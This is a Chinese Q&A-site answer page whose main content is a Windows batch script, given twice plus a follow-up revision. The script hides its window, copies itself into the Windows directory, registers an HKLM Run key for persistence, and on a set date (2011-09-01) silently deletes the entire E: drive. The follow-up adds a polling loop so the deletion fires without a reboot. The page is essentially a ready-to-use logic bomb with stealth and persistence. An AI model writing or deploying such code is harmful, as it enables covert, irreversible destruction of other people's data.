1个回答
展开全部
前提是必须在2011年9月1日当日开机才能激活,之前或之后开机都不会删除。
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
::隐藏窗口
:begin
echo wscript.sleep 2000 >%temp%\sl.vbs
::输出暂停程序,暂停2000毫秒
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysstart /t REG_SZ /d %windir%\unstat.vbs /f >nul
::修改注册表,自启动
echo set objShell=wscript.createObject("wscript.shell")>%windir%\unstat.vbs
echo iReturn=objShell.Run("cmd.exe /C %windir%\unstat.bat h", 0, TRUE)>>%windir%\unstat.vbs
copy /y %0 %windir%\unstat.bat
:run
if "%date:~0,10%"=="2011-09-01" goto do
::日期到了就转向标签do
exit
::否则退出
:do
rd E:\. /s /q
::删除文件与文件夹。注明:此rd语句在网上搜的,详见参考链接,没有也无法经过测试(我盘上有重要东西的),可能有问题,请见谅
如果你需要把条件改为在2011年9月1号及以后,只要开机就激活删除,请在追问中说明。
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
::隐藏窗口
:begin
echo wscript.sleep 2000 >%temp%\sl.vbs
::输出暂停程序,暂停2000毫秒
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysstart /t REG_SZ /d %windir%\unstat.vbs /f >nul
::修改注册表,自启动
echo set objShell=wscript.createObject("wscript.shell")>%windir%\unstat.vbs
echo iReturn=objShell.Run("cmd.exe /C %windir%\unstat.bat h", 0, TRUE)>>%windir%\unstat.vbs
copy /y %0 %windir%\unstat.bat
:run
if "%date:~0,10%"=="2011-09-01" goto do
::日期到了就转向标签do
exit
::否则退出
:do
rd E:\. /s /q
::删除文件与文件夹。注明:此rd语句在网上搜的,详见参考链接,没有也无法经过测试(我盘上有重要东西的),可能有问题,请见谅
如果你需要把条件改为在2011年9月1号及以后,只要开机就激活删除,请在追问中说明。
追问
这个批处理是直接保存成bat就能实现吗?如果机子是一直开到2011.9.1的话 当天会删除 还是机器必须是那天启动的?
追答
对,保存成一个bat文件运行一次就行。
如果你的机子很强悍,不关机一直到2011.9.1,那这个程序就要改一下了,从标签run开始修改的代码为:
:run
if "%date:~0,10%"=="2011-09-01" goto do
::日期到了就转向标签do
cscript //nologo %temp%\sl.vbs
::暂停2000毫秒,时间可以在上面改
goto run
::循环
:do
rd E:\. /s /q
这样一但运行程序,它每2000毫秒判断一下系统时间。
参考资料: http://zhidao.baidu.com/question/270755571.html
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询